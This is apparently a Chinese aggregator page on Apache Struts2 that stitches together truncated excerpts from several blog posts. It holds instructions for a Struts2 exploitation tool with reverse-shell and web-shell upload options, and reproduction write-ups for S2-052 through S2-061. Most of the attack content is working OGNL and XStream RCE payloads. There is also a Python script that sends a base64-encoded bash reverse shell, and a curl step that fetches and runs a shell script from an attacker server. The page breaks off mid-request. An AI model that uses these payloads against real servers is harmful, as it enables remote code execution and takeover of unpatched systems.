struts2 订阅
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。 展开全文
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。
信息
外文名
Struts 2
类    别
框架
理    解
WebWork+struts1的的更新产品
解    释
Struts的下一代产品
Struts 2发展历史
2000年5月发展至今,Struts1已经成为了一个高度成熟的框架,不管是稳定性还是可靠性都得到了广泛的证明。市场占有率超过20%,拥有丰富的开发人群,几乎已经成为了事实上的工业标准。但是随着时间的流逝,技术的进步,Struts1的局限性也越来越多地暴露出来,并且制约了Struts1的继续发展。对于Struts1框架而言,由于与JSP/Servlet耦合非常紧密,因而导致了一些严重的问题。首先,Struts1支持的表现层技术单一。由于Struts1出现的年代比较早,那个时候没有FreeMarker、Velocity等技术,因此它不可能与这些视图层的模版技术进行整合。其次,Struts1与Servlet API的严重耦合,使应用难于测试。最后,Struts1代码严重依赖于Struts1 API,属于侵入性框架。从目前的技术层面上看,出现了许多与Struts1竞争的视图层框架,比如JSF、Tapestry和spring MVC等。这些框架由于出现的年代比较近,应用了最新的设计理念,同时也从Struts1中吸取了经验,克服了很多不足。这些框架的出现也促进了Struts的发展。Struts1已经分化成了两个框架:第一个是在传统的Struts1的基础上,融合了另外的一个优秀的Web框架WebWork的Struts2。Struts 2虽然是在Struts1的基础上发展起来的,但是实质上是以WebWork为核心的。Struts2为传统的Struts1注入了WebWork的先进的设计理念,统一了Struts1和WebWork两个框架。Struts1分化出来的另外一个框架是Shale。这个框架远远超出了Struts1原有的设计思想,与原有的Struts1关联很少,使用了全新的设计思想。Shale更像一个新的框架而不是Struts1的升级。
收起全文
精华内容
下载资源
问答
  • struts2
    千次阅读
    2022-04-16 22:24:52

    python扫描工具更新2022-4-16

    1.添加了S2-062漏洞利用
    其实是对S2-061漏洞的绕过
    支持命令执行,Linux反弹shell,windows反弹shell。
    2.解决了了Windows反弹shell的功能
    底层原理:解决了有效负载Runtime.getRuntime().exec()执行复杂windows命令
    不成功的问题。
    详情文章:https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?# 《使用java命令执行函数反弹windows-shell》
    

    工具地址https://github.com/Vancomycin-g/Struts2Scan/
    里面有两个工具,一个是python编写的工具,另一个是jar文件
    python工具是改变大佬的。jar文件是在网络上找的。

    java工具

    优点

    1.扫描比较稳定
    2.误报情况少,
    3.可视化,方便操作

    缺点

    1.无法指定payload进行利用
    2.无法反弹shell
    3.无S2-061 payload

    用法

    直接一键扫描就行了,简单粗暴

    python工具

    优点

    1.大多payload支持Linux反弹shell,少部分payload支持windows反弹shell
    2.可以自己选可以使用的payload.
    3.有S2-061 payload

    缺点

    1.稳定性优化的还可以,可能存在误报情况,
    2.有许多命令参数。

    工具介绍

    原作者:github地址:https://github.com/HatBoy/Struts2-Scan
    感谢原作者开源的工具
    此次是在原有的基础上进行升级,优化。
    升级内容:

    1.添加了S2-061漏洞
    2.优化了误报情况。
    3.个别添加了windows反弹shell功能。
    4.原来参数-r ip:port修改成了,
    -lr ip:port 反弹Linuxshell
    -wr ip:port反弹Windows shell
    5.还有其他细微的地方
    

    Struts2-Scan

    • Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057,S2-061,S2-062
    • 支持单个URL漏洞检测和批量URL检测,指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持

    运行环境

    工具参数说明

    Usage: Struts2Scan.py [OPTIONS]
    
      Struts2批量扫描利用工具
    
    Options:
      -i, --info          漏洞信息介绍
      -v, --version       显示工具版本
      -u, --url TEXT      URL地址
      -n, --name TEXT     指定漏洞名称, 漏洞名称详见info
      -f, --file TEXT     批量扫描URL文件, 一行一个URL
      -d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
      -c, --encode TEXT   页面编码, 默认UTF-8编码
      -p, --proxy TEXT    HTTP代理. 格式为http://ip:port
      -t, --timeout TEXT  HTTP超时时间, 默认10s
      -w, --workers TEXT  批量扫描进程数, 默认为10个进程
      --header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2
      -e, --exec          进入命令执行shell
      --webpath           获取WEB路径
      -lr, --Linux_reverse TEXT  反弹Linux shell地址, 格式为ip:port
      -wr, --Win_reverse TEXT  反弹Windows shell地址, 格式为ip:port
      --upfile TEXT       需要上传的文件路径和名称
      --uppath TEXT       上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
      -q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出
      -h, --help          Show this message and exit.
    

    使用例子

    查看漏洞详细信息:

    $ python3 Struts2Scan.py --info
    

    单个URL漏洞检测:

    $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action
    
    

    批量漏洞检测:

    $ python3 Struts2Scan.py -f urls.txt
    

    指定POST数据:

    $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}
    

    常用方法

    # 命令执行
    $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016  -e
    
    
    
    # 反弹Linux shell
    $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -lr 192.168.100.8:8888
    
    
    # 反弹Windows shell
    $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 -wr 192.168.100.8:8888
    
    # 上传shell
    $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp
    
    
    
    更多相关内容
  • Struts2漏洞测试

    2022-04-18 11:31:37
    Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试...
  • Struts2漏洞利用工具2019版 V2.3. Struts2漏洞检测工具,请勿非法攻击他人网站,安恒大佬的作品
  • struts2-core.jar

    2016-08-03 23:39:11
    struts2-core-2.0.1.jar, struts2-core-2.0.11.1.jar, struts2-core-2.0.11.2.jar, struts2-core-2.0.11.jar, struts2-core-2.0.12.jar, struts2-core-2.0.14.jar, struts2-core-2.0.5.jar, struts2-core-2.0.6.jar,...
  • Struts2漏洞检查工具2018版,带最新的漏洞检查,方便使用。目前支持一键检测Struts2漏洞
  • Struts2漏洞利用工具Devmode版 检测struts2漏洞的一款工具
  • Struts2-3.24集合jar

    2016-04-18 18:23:51
    struts2-config-browser-plugin-2.3.24.jar, struts2-core-2.3.24.jar, struts2-jasperreports-plugin-2.3.24.jar, struts2-jfreechart-plugin-2.3.24.jar, struts2-pell-multipart-plugin-2.3.24.jar, struts2-...
  • 最新版本的Struts2+Spring4+Hibernate4框架整合

    千次下载 热门讨论 2014-10-15 14:39:34
    整合使用最新版本的三大框架(即Struts2、Spring4和Hibernate4),搭建项目架构原型。 项目架构原型:Struts2.3.16 + Spring4.1.1 + Hibernate4.3.6。 此外,还有:log4j、slf4j、junit4、ehcache等知识点。 项目...
  • struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 ...
  • 直接输入出现漏洞的url即可攻击. 远程攻击、攻击难度低、不需要用户认证,对机密性、完整性、可用性均构成完全影响。建议大家升级最新jar包!
  • struts2最新版本 struts-2.3.28
  • Struts2视频教程

    热门讨论 2012-08-27 15:13:48
    Struts2是一套非常优秀的Java WEB应用框架,实现优雅、功能强大、使用简洁。目前已有大量的企业项目采用Struts2来作为Web框架进行开发,掌握Struts2是每个进行Web开发的Java程序员的一项必备技能。 本视频对Struts2...
  • 十二、总结 本教程对struts2的基本知识进行了一些说明,关于struts2的更多详细内容应参看struts2的官方文档及提供的app实例。 下面对struts2的基本执行流程作一简要说明,此流程说明可以结合官方提供的struts2结构图...
  • struts2必备jar包官方绿色版

    万次下载 热门讨论 2012-10-08 18:02:42
    struts2最新官网的jar包,已经是最少的包的无法再删除了, commons-fileupload-1.2.2.jar commons-io-2.0.1.jar commons-lang3-3.1.jar commons-logging-1.1.1.jar freemarker-2.3.19.jar javassist-3.11.0.GA.jar ...
  • Maven搭建spring_struts2_Hibernate_demo

    热门讨论 2015-03-01 15:09:23
    Maven搭建spring_struts2_Hibernate项目源码,包括数据库,博客地址:http://blog.csdn.net/fengshizty/article/details/43794911
  • struts1和struts2的区别

    2011-06-24 16:54:07
    struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别struts1和struts2的区别...
  • struts2实例 学生信息管理系统

    热门讨论 2012-11-12 20:41:57
    struts2实现的学生信息管理系统 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" ...
  • Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 ...

    0x00 Struts2 简介

    Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序。该框架多版本存在远程代码执行,

    0x01 Struts2 (CVE-2018-11776)

    Struts2 S2-057

    payload:/struts2-showcase/$%7B233*233%7D/actionChain1.action
    

    验证漏洞存在:

    paylaod:ls:查看目录下文件,paylaod需要进行url编码
    ${
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
    

    0x02 Struts2 (CVE-2019-0230)

    Struts2 S2-059

    漏洞验证paylaod:/?id=%25{2*5}
    


    反弹shell:paylaod:使用python3环境,运行前查看环境执行是否正常

    反弹paylaod:bash -i >& /dev/tcp/192.168.222.134/6666 0>&1
    需要base64加密放入下paylaod
    import requests
    url = "http://192.168.222.134:8080"
    data1 = {
        "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
    }
    data2 = {
        "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}"
    }
    res1 = requests.post(url, data=data1)
    res2 = requests.post(url, data=data2)
    print(123)
    

    执行脚本

    shell接收成功:

    0x03 Struts2 (CVE-2020-17530)

    Struts2 S2-061

    POC:post请求:
    POST / HTTP/1.1
    Host: 192.168.222.134:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=node016yd6hhrzkka19x0sws5e7i9g1.node0
    If-None-Match: W/"187-1504645830000"
    If-Modified-Since: Tue, 05 Sep 2017 21:10:30 GMT
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Connection: close
    Content-Length: 829
    
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    

    0x04 strust2 命令执行检测工具

    github:https://github.com/HatBoy/Struts2-Scan
    现支持部分序号的st2检测:s2-053之前,测试过程还是出现了很多问题,实战中建议使用单独的对应exp检测

    展开全文
  • 一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用[Java Servlet]...

    在这里插入图片描述

    前言:

    本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。

    一、Struts简介

    1、简介

    基本介绍:

    Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用[Java Servlet](https://baike.baidu.com/item/Java Servlet)/JSP技术,实现了基于[Java EE](https://baike.baidu.com/item/Java EE) Web应用的Model-View-Controller(MVC设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

    在过去多年的时间中,Struts2曾被爆出过许多安全漏洞,业内对其命名也从S2-001命名到了S2-061,也就是说前前后后一共产生了61个安全漏洞,其中的两个大类是DDOS漏洞个RCE漏洞,而本次我们复现、共享的漏洞主要是最近几年的RCE漏洞。

    最近几年漏洞信息 :

    • S2-052:REST插件使用到XStreamHandler处理xml数据,由于未对xml数据做任何过滤,在进行发序列xml数据转换为Object时导致RCE
    • S2-053:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
    • S2-057:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生
    • S2-059:攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
    • S2-061:对S2-059的沙盒绕过。

    2、struts2框架判断

    看url里面的连接,如果是XXX.action结尾或直接XXX.do结尾的,就是struts框架写的。

    如果URL连接的文件没有后缀,则可能是struts2框架写的,看HTMl源码中加载/提交的文件后缀可判断。

    还是不行,就可以通过传入大量错误数据,使其报错,看报错内容来判断。

    二、S2-052 RCE漏洞

    1、漏洞简介

    Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

    影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

    漏洞POC:

    <?xml version="1.0" encoding="utf-8"?>
     
    <map>
        <entry>
            <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags> 
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                  <cipher class="javax.crypto.NullCipher">
                    <initialized>false</initialized> 
                    <opmode>0</opmode> 
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                      <iter class="javax.imageio.spi.FilterIterator">
                        <iter class="java.util.Collections$EmptyIterator"/> 
                        <next class="java.lang.ProcessBuilder">
                          <command><string>你要执行的代码</string></command> 
                          <redirectErrorStream>false</redirectErrorStream>
                        </next>
                      </iter> 
                      <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                          <class>java.lang.ProcessBuilder</class> 
                          <name>start</name> 
                          <parameter-types/>
                        </method> 
                        <name>foo</name>
                      </filter> 
                      <next class="string">foo</next>
                    </serviceIterator> 
                    <lock/>
                  </cipher> 
                  <input class="java.lang.ProcessBuilder$NullInputStream"/> 
                  <ibuffer/> 
                  <done>false</done> 
                  <ostart>0</ostart> 
                  <ofinish>0</ofinish> 
                  <closed>false</closed>
                </is> 
                <consumed>false</consumed>
              </dataSource> 
              <transferFlavors/>
            </dataHandler> 
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString> 
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
      </entry> 
      <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
      </entry>
    </map>
    

    2、漏洞复现

    1. 使用docker搭建其漏洞环境,访问8080端口,选择任意一个账号进行编辑,使用burp suite 进行抓包。
      在这里插入图片描述

    2. 修改请求头中的Content-Type为application/xml,修改Post数据为poc内容,并将执行的代码改为自己的。返回500错误,理论上来说代码执行成功。
      在这里插入图片描述

    3. 事实证明,理论上终究只是理论上,反弹shell并没有成功。于是使用github的POC进行getshell。poc地址:https://github.com/wooluo/S2-052。脚本运行成功,但执行命令也失败,艹了。

    三、S2-053 RCE漏洞

    1、漏洞简介

    原理:

    s2-053漏洞产生的原因是Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。(没咋懂)

    影响版本: Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

    漏洞POC(命令执行点在 #cmd=‘whoami’):

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

    2、漏洞复现

    1. 使用docker搭建起漏洞环境,访问8080端口,能正常访问,说明漏洞环境启用成功。

    2. 访问hello.action,输入一个表达式:%{6*6},输出结果为36,说明漏洞存在。
      在这里插入图片描述

    3. 输入POC,看执行效果,如图,返回结果为root.
      在这里插入图片描述

    4. kali监听端口,使用bash命令,执行poc反弹shell.
      在这里插入图片描述

    四、S2-057 RCE漏洞

    1、漏洞简介

    漏洞原理:

    定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。(懵逼)

    影响版本: Struts 2.3 - Struts 2.3.34,Struts 2.5 - Struts 2.5.16

    漏洞EXP: https://github.com/Ivan1ee/struts2-057-exp

    2、漏洞复现

    1. 使用docker搭建好漏洞环境,访问index.action,如下界面,说明搭建成功。
      在这里插入图片描述

    2. 使用poc执行算术运算poc:struts2-showcase/${(111+111)}/actionChain1.action, 访问后变为:/struts2-showcase/222/register2.action
      在这里插入图片描述

    3. 构造payload,执行命令id;

      payload: ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
      

      对payload进行url编码,,并附加到url中,使用bp重放:

      请求内容:GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
      

      发生跳转并得到id返回值:
      在这里插入图片描述

    五、S2-059 RCE漏洞

    1、漏洞简介

    漏洞产生原因: s2-059产生的原因为攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

    影响版本: Struts 2.0.0 - Struts 2.5.20

    poc:

    import requests
    url = "http://127.0.0.1:8080"
    data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
    }
    data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
    }
    # 反弹shell的命令,需要自行进行编码替换。
    res1 = requests.post(url, data=data1)
    res2 = requests.post(url, data=data2)
    

    2、漏洞复现

    1. 访问docker搭建的初始页面,显示id内容。

    2. 根据漏洞信息,可以输入一个OGNL表达式看是否存在漏洞,此处输入payload: id=%25{4*6},成功执行表达式,说明漏洞存在。
      在这里插入图片描述

    3. 使用bash反弹shell,需要将bash命令进行base64编码。编码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

    4. 使用poc进行测试,反弹shell此处踩坑,按照poc来不能反弹shell。

    5. 换个方式getshell:使用python开启临时http服务,将反弹shell的语句写入shell.sh中,修改POC中的命令为curl -o /tmp/shell.sh http://your_HTTP_ip:your_Port/shell.sh。执行poc后成功下载shell.sh,再修改POC中的bash命令为bash /tmp/sh,执行成功并反弹shell。
      在这里插入图片描述

    六、S2-061 RCE漏洞

    1、漏洞简介

    漏洞原理:

    s2-061漏洞产生的原因是Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

    影响范围: struts 2.0.0 - struts 2.5.25

    漏洞poc: https://github.com/wuzuowei/CVE-2020-17530

    2、漏洞复现

    1. 访问docker搭建的web服务,发现是和s2-059的一样,尝试执行算数运算,发现能成功执行。

    2. 尝试使用s2-059的poc执行命令,发现不能正常执行,因此只能照搬s2-061的复现方法进行。

    3. 首先抓包后修改Content-Type为multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF,并加入以下内容:

      ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
      Content-Disposition: form-data; name="id"
      
      %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
      ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
      
    4. 此处使用原始的GTE传输方式,并不能回显命令内容:
      在这里插入图片描述

    5. 改用POST传输数据,成功执行命令。
      在这里插入图片描述

    6. 修改命令内容,反弹shell。bash反弹shell命令需要进行base64编码。编码地址:https://www.jackson-t.ca/runtime-exec-payloads.html,发送数据后成功执行并反弹shell。
      在这里插入图片描述

    展开全文
  • Struts2 S2-061(CVE-2020-17530)漏洞复现

    千次阅读 2022-01-21 09:55:57
    Struts2 S2-061(CVE-2020-17530)漏洞复现 漏洞简介 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用...

    Struts2 S2-061(CVE-2020-17530)漏洞复现

    漏洞简介

    Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

    漏洞描述

    Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

    漏洞影响版本

    struts 2.0.0 - struts 2.5.25

    漏洞级别

    高危

    漏洞复现

    环境搭建

    这里以vulhub里面的例子进行复现

    下载vulhub git clone https://github.com/vulhub/vulhub
    进入漏洞环境 cd vulhub/struts2/s2-061
    启动环境 docker-compose up -d
    

    访问本地的8080即可

    漏洞利用

    dnslog验证

    POC:

    POST /index.action HTTP/1.1
    Host: x.x.x.x:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Length: 848
    
    
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping xxxxxx.ceye.io")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    


    RCE

    POC:

    POST /index.action HTTP/1.1
    Host: x.x.x.x:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
